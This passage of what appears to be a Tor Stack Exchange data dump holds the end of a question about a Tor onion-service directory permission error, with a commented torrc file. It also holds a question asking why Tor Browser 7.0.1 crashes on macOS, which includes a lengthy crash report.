enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports on IPv4 and IPv6 but no more&#xA;#ExitPolicy accept *:119 # accept nntp ports on IPv4 and IPv6 as well as default exit policy&#xA;#ExitPolicy accept *4:119 # accept nntp ports on IPv4 only as well as default exit policy&#xA;#ExitPolicy accept6 *6:119 # accept nntp ports on IPv6 only as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to fix it? I've tried this one but does not work &lt;a href=&quot;https://askubuntu.com/questions/649497/tor-hidden-service-file-permission-problem&quot;&gt;https://askubuntu.com/questions/649497/tor-hidden-service-file-permission-problem&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18181" LastActivityDate="2017-07-03T00:08:38.823" Title="Directory Cannot be Readed: Permission Denied after update to 0.3.0" Tags="|configuration|onion-services|directory|" AnswerCount="1" CommentCount="4" ClosedDate="2017-07-04T19:55:52.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="15188" PostTypeId="1" CreationDate="2017-07-02T19:47:57.427" Score="0" ViewCount="486" Body="&lt;p&gt;Tor Browser 7.x for Mac always crashes at start. I tried the stable and experimental versions. No luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea about what could be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the crash report (at least the beginning):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process:               firefox [4639]&#xA;Path:                  /Applications/TorBrowser.app/Contents/MacOS/firefox&#xA;Identifier:            org.torproject.torbrowser&#xA;Version:               7.0.1 (5217.2.2)&#xA;Code Type:             X86-64 (Native)&#xA;Parent Process:        ??? [1]&#xA;Responsible:           firefox [4639]&#xA;User ID:               501&#xA;&#xA;Date/Time:             2017-07-02 21:35:11.493 +0200&#xA;OS Version:            Mac OS X 10.11.6 (15G1510)&#xA;Report Version:        11&#xA;Anonymous UUID:        BD1A893C-C595-23C3-17AF-236FB080F0FD&#xA;&#xA;&#xA;Time Awake Since Boot: 11000 seconds&#xA;&#xA;System Integrity Protection: enabled&#xA;&#xA;Crashed Thread:        0  Dispatch queue: com.apple.main-thread&#xA;&#xA;Exception Type:        EXC_BAD_ACCESS (SIGSEGV)&#xA;Exception Codes:       KERN_INVALID_ADDRESS at 0x0000000000000000&#xA;Exception Note:        EXC_CORPSE_NOTIFY&#xA;&#xA;VM Regions Near 0:&#xA;--&amp;gt; &#xA;    __TEXT                 00000001096c1000-00000001096c4000 [   12K] r-x/rwx SM=COW  /Applications/TorBrowser.app/Contents/MacOS/firefox&#xA;&#xA;Thread 0 Crashed:: Dispatch queue: com.apple.main-thread&#xA;0   XUL                             0x000000010a8f8240 0x109e46000 + 11215424&#xA;&#xA;Thread 1:&#xA;0   libsystem_kernel.dylib          0x00007fff8b7675e2 __workq_kernreturn + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1b578 _pthread_wqthread + 1283&#xA;2   libsystem_pthread.dylib         0x00007fff80c19341 start_wqthread + 13&#xA;&#xA;Thread 2:: Dispatch queue: com.apple.libdispatch-manager&#xA;0   libsystem_kernel.dylib          0x00007fff8b767efa kevent_qos + 10&#xA;1   libdispatch.dylib               0x00007fff82afe165 _dispatch_mgr_invoke + 216&#xA;2   libdispatch.dylib               0x00007fff82afddcd _dispatch_mgr_thread + 52&#xA;&#xA;Thread 3:&#xA;0   libsystem_kernel.dylib          0x00007fff8b7675e2 __workq_kernreturn + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1b578 _pthread_wqthread + 1283&#xA;2   libsystem_pthread.dylib         0x00007fff80c19341 start_wqthread + 13&#xA;&#xA;Thread 4:&#xA;0   libsystem_kernel.dylib          0x00007fff8b7675e2 __workq_kernreturn + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1b578 _pthread_wqthread + 1283&#xA;2   libsystem_pthread.dylib         0x00007fff80c19341 start_wqthread + 13&#xA;&#xA;Thread 5:&#xA;0   libsystem_kernel.dylib          0x00007fff8b7675e2 __workq_kernreturn + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1b578 _pthread_wqthread + 1283&#xA;2   libsystem_pthread.dylib         0x00007fff80c19341 start_wqthread + 13&#xA;&#xA;Thread 6:&#xA;0   libsystem_kernel.dylib          0x00007fff8b7675e2 __workq_kernreturn + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1b578 _pthread_wqthread + 1283&#xA;2   libsystem_pthread.dylib         0x00007fff80c19341 start_wqthread + 13&#xA;&#xA;Thread 7:: Gecko_IOThread&#xA;0   libsystem_kernel.dylib          0x00007fff8b767eca kevent + 10&#xA;1   XUL                             0x000000010a2901dc 0x109e46000 + 4497884&#xA;&#xA;Thread 8:: Socket Thread&#xA;0   libsystem_kernel.dylib          0x00007fff8b76707a __select + 10&#xA;1   libnss3.dylib                   0x0000000109da00a5 0x109c00000 + 1704101&#xA;&#xA;Thread 9:: JS Watchdog&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;&#xA;Thread 10:: JS Helper&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010c95dbd1 0x109e46000 + 45186001&#xA;3   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;4   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 11:: JS Helper&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010c95dbd1 0x109e46000 + 45186001&#xA;3   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;4   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 12:: JS Helper&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010c95dbd1 0x109e46000 + 45186001&#xA;3   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;4   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 13:: JS Helper&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010c95dbd1 0x109e46000 + 45186001&#xA;3   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;4   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 14:: JS Helper&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010c95dbd1 0x109e46000 + 45186001&#xA;3   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;4   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 15:: JS Helper&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010c95dbd1 0x109e46000 + 45186001&#xA;&#xA;Thread 16:&#xA;0   libsystem_kernel.dylib          0x00007fff8b760f72 mach_msg_trap + 10&#xA;1   libsystem_kernel.dylib          0x00007fff8b7603b3 mach_msg + 55&#xA;2   XUL                             0x000000010cf1f21e 0x109e46000 + 51221022&#xA;3   ???                             0x0000000000010000 0 + 65536&#xA;&#xA;Thread 17:: Hang Monitor&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 18:: Timer&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50e3 PR_WaitCondVar + 227&#xA;&#xA;Thread 19:: Cache2 I/O&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 20:: DataStorage&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 21:: DataStorage&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 22:: GMPThread&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 23:: Compositor&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   XUL                             0x000000010a282f78 0x109e46000 + 4444024&#xA;3   ???                             0x8000000000000000 0 + 9223372036854775808&#xA;&#xA;Thread 24:: ImgDecoder #1&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 25:: ImgDecoder #2&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 26:: ImageIO&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 27:: RunProcess&#xA;0   libsystem_kernel.dylib          0x00007fff8b767582 __wait4 + 10&#xA;1   XUL                             0x0000000109ef41ae 0x109e46000 + 713134&#xA;&#xA;Thread 28:: IPDL Background&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 29:: StreamTrans #3&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;&#xA;Thread 30:: DOM Worker&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c728 _pthread_cond_wait + 767&#xA;2   libnss3.dylib                   0x0000000109db50fd PR_WaitCondVar + 253&#xA;&#xA;Thread 31:&#xA;0   libsystem_kernel.dylib          0x00007fff8b760f72 mach_msg_trap + 10&#xA;1   libsystem_kernel.dylib          0x00007fff8b7603b3 mach_msg + 55&#xA;2   XUL                             0x000000010cf1f0ae 0x109e46000 + 51220654&#xA;3   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;4   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 32:: CVDisplayLink&#xA;0   libsystem_kernel.dylib          0x00007fff8b766db6 __psynch_cvwait + 10&#xA;1   libsystem_pthread.dylib         0x00007fff80c1c75e _pthread_cond_wait + 821&#xA;2   com.apple.CoreVideo             0x00007fff86a460d8 CVDisplayLink::waitUntil(unsigned long long) + 232&#xA;3   com.apple.CoreVideo             0x00007fff86a45ed1 CVDisplayLink::runIOThread() + 511&#xA;4   com.apple.CoreVideo             0x00007fff86a459a9 startIOThread(void*) + 147&#xA;5   libsystem_pthread.dylib         0x00007fff80c1b99d _pthread_body + 131&#xA;6   libsystem_pthread.dylib         0x00007fff80c1b91a _pthread_start + 168&#xA;7   libsystem_pthread.dylib         0x00007fff80c19351 thread_start + 13&#xA;&#xA;Thread 0 crashed with X86 Thread State (64-bit):&#xA;  rax: 0x8000000400000000  rbx: 0x00007fff56538700  rcx: 0x0000000000000000  rdx: 0x0000000000000008&#xA;  rdi: 0x00000001147d2160  rsi: 0x0000000000000000  rbp: 0x0000000000000008  rsp: 0x00007fff56538650&#xA;   r8: 0x000000000000006d   r9: 0x000000000000006d  r10: 0x00000000ffffff01  r11: 0x00007fff56538548&#xA;  r12: 0x00007fff565386f0  r13: 0x0000000000000000  r14: 0x00000001147d2160  r15: 0x0000000114fbf800&#xA;  rip: 0x000000010a8f8240  rfl: 0x0000000000010206  cr2: 0x0000000000000000&#xA;&#xA;Logical CPU:     1&#xA;Error Code:      0x00000004&#xA;Trap Number:     14&#xA;&#xA;&#xA;Binary Images:&#xA;       0x1096c1000 -        0x1096c3ff7 +org.torproject.torbrowser (7.0.1 - 5217.2.2) &amp;lt;7C5EEA52-97C0-3684-BD85-E13569C02825&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/firefox&#xA;       0x1096cd000 -        0x1096e8ff7 +libmozglue.dylib (1) &amp;lt;7AE572D3-1E55-3A29-8C41-71AB872E6130&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/libmozglue.dylib&#xA;       0x10994f000 -        0x10995afff +liblgpllibs.dylib (1) &amp;lt;850F8709-B4F5-3C96-9A09-7EA8972968F3&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/liblgpllibs.dylib&#xA;       0x109c00000 -        0x109e0efff +libnss3.dylib (1) &amp;lt;C4DEB566-741C-3967-9321-A436C6091B39&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/libnss3.dylib&#xA;       0x109e46000 -        0x10dd5cf77 +XUL (1) &amp;lt;6AD486A2-1DE9-388F-9CDF-D7BF246CA912&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/XUL&#xA;       0x10e343000 -        0x10e37bff7 +libsoftokn3.dylib (1) &amp;lt;03224CD4-DCC3-3A2A-BBB2-FA8C74D6AEF5&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/libsoftokn3.dylib&#xA;       0x112958000 -        0x1129d1fff +libfreebl3.dylib (1) &amp;lt;270608B4-904E-3E71-932B-2767F82D161D&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/libfreebl3.dylib&#xA;       0x113342000 -        0x11339dfff +libnssckbi.dylib (???) &amp;lt;A216FC5F-F8A1-37A4-8865-6AE749FD1646&amp;gt; /Applications/TorBrowser.app/Contents/MacOS/libnssckbi.dylib&#xA;    0x7fff6f2f5000 -     0x7fff6f32ca47  dyld (360.22) &amp;lt;884763FC-CC0F-31CC-ACC4-75A805CE401D&amp;gt; /usr/lib/dyld&#xA;    0x7fff8074d000 -     0x7fff80a42fff  com.apple.HIToolbox (2.1.1 - 807.2) &amp;lt;36413C45-36AF-34EF-9C0E-F18B31D1E565&amp;gt; /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox&#xA;    0x7fff80a43000 -     0x7fff80a95fff  com.apple.ImageCaptureCore (7.0 - 7.0) &amp;lt;9F3123D8-29D2-332F-AD6B-AB9BF1A58022&amp;gt; /System/Library/Frameworks/ImageCaptureCore.framework/Versions/A/ImageCaptureCore&#xA;    0x7fff80a9d000 -     0x7fff80aa8fff  com.apple.DirectoryService.Framework (10.11 - 194) &amp;lt;6F827D0E-0F02-3B09-B2A8-252865EECA7F&amp;gt; /System/Library/Frameworks/DirectoryService.framework/Versions/A/DirectoryService&#xA;    0x7fff80af7000 -     0x7fff80b38ff7  libGLU.dylib (12.1) &amp;lt;CD7A5916-3E3C-3EF3-A275-B281016B99CB&amp;gt; /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLU.dylib&#xA;    0x7fff80b39000 -     0x7fff80b56ff7  com.apple.AppleVPAFramework (2.1.2 - 2.1.2) &amp;lt;707C6ED6-B8C0-38D4-B45A-7F2F689BD157&amp;gt; /System/Library/PrivateFrameworks/AppleVPA.framework/Versions/A/AppleVPA&#xA;    0x7fff80bb9000 -     0x7fff80bcefff  com.apple.AppContainer (4.0 - 261.40.2) &amp;lt;F220E702-1C00-3BD2-9943-C7E75C3B4418&amp;gt; /System/Library/PrivateFrameworks/AppContainer.framework/Versions/A/AppContainer&#xA;    0x7fff80c18000 -     0x7fff80c21ff7  libsystem_pthread.dylib (138.10.4) &amp;lt;3DD1EF4C-1D1B-3ABF-8CC6-B3B1CEEE9559&amp;gt; /usr/lib/system/libsystem_pthread.dylib&#xA;    0x7fff80d4b000 -     0x7fff80dbafff  com.apple.datadetectorscore (7.0 - 460) &amp;lt;E8616F01-90AC-3863-B18C-426E6DD1ACDE&amp;gt; /System/Library/PrivateFrameworks/DataDetectorsCore.framework/Versions/A/DataDetectorsCore&#xA;    0x7fff80dbb000 -     0x7fff80dc7ff7  com.apple.OpenDirectory (10.11 - 194) &amp;lt;31A67AD5-5CC2-350A-96D7-821DF4BC4196&amp;gt; /System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory&#xA;    0x7fff80dc8000 -     0x7fff80e68fff  com.apple.Metadata (10.7.0 - 972.34) &amp;lt;303B7C79-FB39-3A30-983B-78334FF39BB1&amp;gt; /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Metadata&#xA;    0x7fff81104000 -     0x7fff81d2dff7  com.apple.AppKit (6.9 - 1404.47) &amp;lt;F3411F6E-DD87-34D0-8C68-C69B2205E41D&amp;gt; /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit&#xA;    0x7fff81d86000 -     0x7fff81d92fff  com.apple.speech.synthesis.framework (5.4.12 - 5.4.12) &amp;lt;71DA00B8-5EA2-326B-8814-59DB25512F65&amp;gt; /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/SpeechSynthesis.framework/Versions/A/SpeechSynthesis&#xA;    0x7fff81f93000 -     0x7fff82278ffb  com.apple.CoreServices.CarbonCore (1136.2 - 1136.2) &amp;lt;2DBAFC9A-6CD6-351D-B1F4-87D81AA6D640&amp;gt; /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/CarbonCore.framework/Versions/A/CarbonCore&#xA;    0x7fff822ad000 -     0x7fff82321ff7  com.apple.Heimdal (4.0 - 2.0) &amp;lt;5D365381-8B5E-3259-8867-FC4A7D307BDE&amp;gt; /System/Library/PrivateFrameworks/Heimdal.framework/Versions/A/Heimdal&#xA;    0x7fff8236d000 -     0x7fff823b9fff  com.apple.print.framework.PrintCore (11.2 - 472.2) &amp;lt;5AE8AA6B-CE09-397D-B0D4-0F9CCBF1F77D&amp;gt; /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/PrintCore.framework/Versions/A/PrintCore&#xA;    0x7fff823ba000 -     0x7fff823e3fff  com.apple.ProtectedCloudStorage (1.0 - 1) &amp;lt;7436B2B3-943A-3500-B099-80F133B3E002&amp;gt; /System/Library/PrivateFrameworks/ProtectedCloudStorage.framework/Versions/A/ProtectedCloudStorage&#xA;    0x7fff823e4000 -     0x7fff823f2fff  com.apple.IntlPreferences (2.0 - 192) &amp;lt;0108A3F2-6A11-30B1-965D-A167CC8131EC&amp;gt; /System/Library/PrivateFrameworks/IntlPreferences.framework/Versions/A/IntlPreferences&#xA;    0x7fff823f3000 -     0x7fff823f5fff  com.apple.EFILogin (2.0 - 2) &amp;lt;38150198-DD7F-3C73-BCAA-C74BB376393A&amp;gt; /System/Library/PrivateFrameworks/EFILogin.framework/Versions/A/EFILogin&#xA;    0x7fff82407000 -     0x7fff825d0ff7  com.apple.ImageIO.framework (3.3.0 - 1460) &amp;lt;5941D3B1-E38E-3593-8026-4FE56313259D&amp;gt; /System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO&#xA;    0x7fff825d1000 -     0x7fff825e4ff3  com.apple.SafariServices.framework (11603 - 11603.2.5) &amp;lt;FBF52A64-E7B7-3C11-B04E-13A0A4F4009E&amp;gt; /System/Library/PrivateFrameworks/SafariServices.framework/Versions/A/SafariServices&#xA;    0x7fff825f4000 -     0x7fff8261dffb  libRIP.A.dylib (970) &amp;lt;BA17C96B-83CC-3835-8AFD-CB5A69D3D26F&amp;gt; /System/Library/Frameworks/CoreGraphics.framework/Versions/A/Resources/libRIP.A.dylib&#xA;    0x7fff8261e000 -     0x7fff82621fff  com.apple.IOSurface (108.2.4 - 108.2.4) &amp;lt;E7A63C0D-2FDA-3BC6-947D-07E3C4A13110&amp;gt; /System/Library/Frameworks/IOSurface.framework/Versions/A/IOSurface&#xA;    0x7fff82622000 -     0x7fff82685fff  libAVFAudio.dylib (161.2) &amp;lt;1A98DBF3-490B-37FB-928A-AB1E36E6E5DD&amp;gt; /System/Library/Frameworks/AVFoundation.framework/Versions/A/Resources/libAVFAudio.dylib&#xA;    0x7fff826be000 -     0x7fff826e8ff7  libc++abi.dylib (307.2) &amp;lt;922EFB36-0E9E-315B-8270-E81AC43472C0&amp;gt; /usr/lib/libc++abi.dylib&#xA;    0x7fff826e9000 -     0x7fff82ac1fef  com.apple.CoreAUC (214.0.0 - 214.0.0) &amp;lt;F80C19CA-6CD0-3052-9C22-0288A257CCC8&amp;gt; /System/Library/PrivateFrameworks/CoreAUC.framework/Versions/A/CoreAUC&#xA;    0x7fff82ac2000 -     0x7fff82ac4ff7  com.apple.securityhi (9.0 - 55006) &amp;lt;AC151C58-A7AD-3ECF-B15D-5E09FF94FC23&amp;gt; /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/SecurityHI.framework/Versions/A/SecurityHI&#xA;    0x7fff82ac5000 -     0x7fff82af5ff3  com.apple.CoreAVCHD (5.8.0 - 5800.4.2) &amp;lt;4AAFB1C4-3708-30F9-ACFA-90564347204C&amp;gt; /System/Library/PrivateFrameworks/CoreAVCHD.framework/Versions/A/CoreAVCHD&#xA;    0x7fff82af6000 -     0x7fff82b23fff  libdispatch.dylib (501.40.12) &amp;lt;C7499857-61A5-3D7D-A5EA-65DCC8C3DF92&amp;gt; /usr/lib/system/libdispatch.dylib&#xA;    0x7fff82b2c000 -     0x7fff82b2dff7  libodfde.dylib (23) &amp;lt;F84CB160-D638-3190-B6F5-A262E9AF09F6&amp;gt; /usr/lib/libodfde.dylib&#xA;    0x7fff82d61000 -     0x7fff82db3fff  com.apple.CloudDocs (1.0 - 383.13) &amp;lt;5FD9138D-09D9-3B97-BBAD-5692E1687F30&amp;gt; /System/Library/PrivateFrameworks/CloudDocs.framework/Versions/A/CloudDocs&#xA;    0x7fff82db4000 -     0x7fff82e00ff7  com.apple.corelocation (1486.17 - 1615.38) &amp;lt;6336CFC5-9D7D-3B76-B263-56DD6EBD0B8D&amp;gt; /System/Library/Frameworks/CoreLocation.framework/Versions/A/CoreLocation&#xA;    0x7fff82e1b000 -     0x7fff82e1ffff  libGIF.dylib (1461) &amp;lt;81C36C41-AEF2-33CC-BBCC-C43F48F63906&amp;gt; /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libGIF.dylib&#xA;    0x7fff82f8c000 -     0x7fff82fdfff7  libc++.1.dylib (120.1) &amp;lt;8FC3D139-8055-3498-9AC5-6467CB7F4D14&amp;gt; /usr/lib/libc++.1.dylib&#xA;    0x7fff82fe0000 -     0x7fff83069ff7  com.apple.PerformanceAnalysis (1.0 - 1) &amp;lt;E783E193-8FAD-3A1E-9139-2F56E564CDE7&amp;gt; /System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/PerformanceAnalysis&#xA;    0x7fff8316b000 -     0x7fff831a2ff7  com.apple.LDAPFramework (2.4.28 - 194.5) &amp;lt;9AE33BF2-FB17-342D-8F1E-5F83C6E6EB69&amp;gt; /System/Library/Frameworks/LDAP.framework/Versions/A/LDAP&#xA;    0x7fff831a3000 -     0x7fff831b1fff  com.apple.opengl (12.1.0 - 12.1.0) &amp;lt;12EBDE6A-2F44-3429-8337-2BB36870BFD8&amp;gt; /System/Library/Frameworks/OpenGL.framework/Versions/A/OpenGL&#xA;    0x7fff831b2000 -     0x7fff831b4fff  com.apple.CoreDuetDebugLogging (1.0 - 1) &amp;lt;7C932160-AC9C-3173-900F-98138E829CB3&amp;gt; /System/Library/PrivateFrameworks/CoreDuetDebugLogging.framework/Versions/A/CoreDuetDebugLogging&#xA;    0x7fff831b5000 -     0x7fff831c1fff  com.apple.SpeechRecognitionCore (2.2.7 - 2.2.7) &amp;lt;6BA06290-D4A3-351C-87F9-B61EF61FF055&amp;gt; /System/Library/PrivateFrameworks/SpeechRecognitionCore.framework/Versions/A/SpeechRecognitionCore&#xA;    0x7fff831c5000 -     0x7fff831c5fff  libenergytrace.dylib (10.40.1) &amp;lt;0A491CA7-3451-3FD5-999A-58AB4362682B&amp;gt; /usr/lib/libenergytrace.dylib&#xA;    0x7fff831d7000 -     0x7fff8324cfff  com.apple.framework.IOKit (2.0.2 - 1179.50.2) &amp;lt;A509D3AE-9D48-31B7-89C7-326A7A2007B2&amp;gt; /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit&#xA;    0x7fff833a5000 -     0x7fff833c1ff7  libsystem_malloc.dylib (67.40.1) &amp;lt;5748E8B2-F81C-34C6-8B13-456213127678&amp;gt; /usr/lib/system/libsystem_malloc.dylib&#xA;    0x7fff833c2000 -     0x7fff8356eff7  com.apple.avfoundation (2.0 - 1046.9.12) &amp;lt;41BDD03F-5545-3B9F-8DD7-7106485BAE8B&amp;gt; /System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation&#xA;    0x7fff83578000 -     0x7fff8397afff  libLAPACK.dylib (1162.2) &amp;lt;42238ED4-6B7A-39D0-BFF2-304A0C287213&amp;gt; /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLAPACK.dylib&#xA;    0x7fff83981000 -     0x7fff83989fff  com.apple.CoreServices.FSEvents (1223.10.1 - 1223.10.1) &amp;lt;7F5B7A23-BC1D-3FA9-A9B8-D534F1E1979A&amp;gt; /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/FSEvents.framework/Versions/A/FSEvents&#xA;    0x7fff8398a000 -     0x7fff8398ffff  com.apple.DiskArbitration (2.7 - 2.7) &amp;lt;9BB60809-3EA3-3881-8F2F-27EDBF9C8DE3&amp;gt; /System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration&#xA;    0x7fff839fc000 -     0x7fff839fffff  libsystem_sandbox.dylib (460.60.3) &amp;lt;2DDCB4AF-3037-34E5-A451-6846AFB9B85C&amp;gt; /usr/lib/system/libsystem_sandbox.dylib&#xA;    0x7fff83a00000 -     0x7fff83bceff3  com.apple.QuartzCore (1.11 - 410.14) &amp;lt;06A2BE20-38CB-3A89-9629-A782829DF977&amp;gt; /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore&#xA;    0x7fff83bcf000 -     0x7fff83c88ff7  libvMisc.dylib (563.5) &amp;lt;BF612F7D-FA3B-3F9F-8BE7-8D1BCB21ECC5&amp;gt; /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvMisc.dylib&#xA;    0x7fff83cbb000 -     0x7fff83cc0ff7  com.apple.AssetCacheServices (14.1 - 14.1) &amp;lt;5F249F84-660A-3E94-B073-6729E7ED56D9&amp;gt; &#xA;&#xA;.&#xA;.&#xA;.&#xA;.&#xA;&#xA;&#xA;External Modification Summary:&#xA;  Calls made by other processes targeting this process:&#xA;    task_for_pid: 1&#xA;    thread_create: 0&#xA;    thread_set_state: 0&#xA;  Calls made by this process:&#xA;    task_for_pid: 0&#xA;    thread_create: 0&#xA;    thread_set_state: 0&#xA;  Calls made by all processes on this machine:&#xA;    task_for_pid: 493037&#xA;    thread_create: 0&#xA;    thread_set_state: 0&#xA;&#xA;VM Region 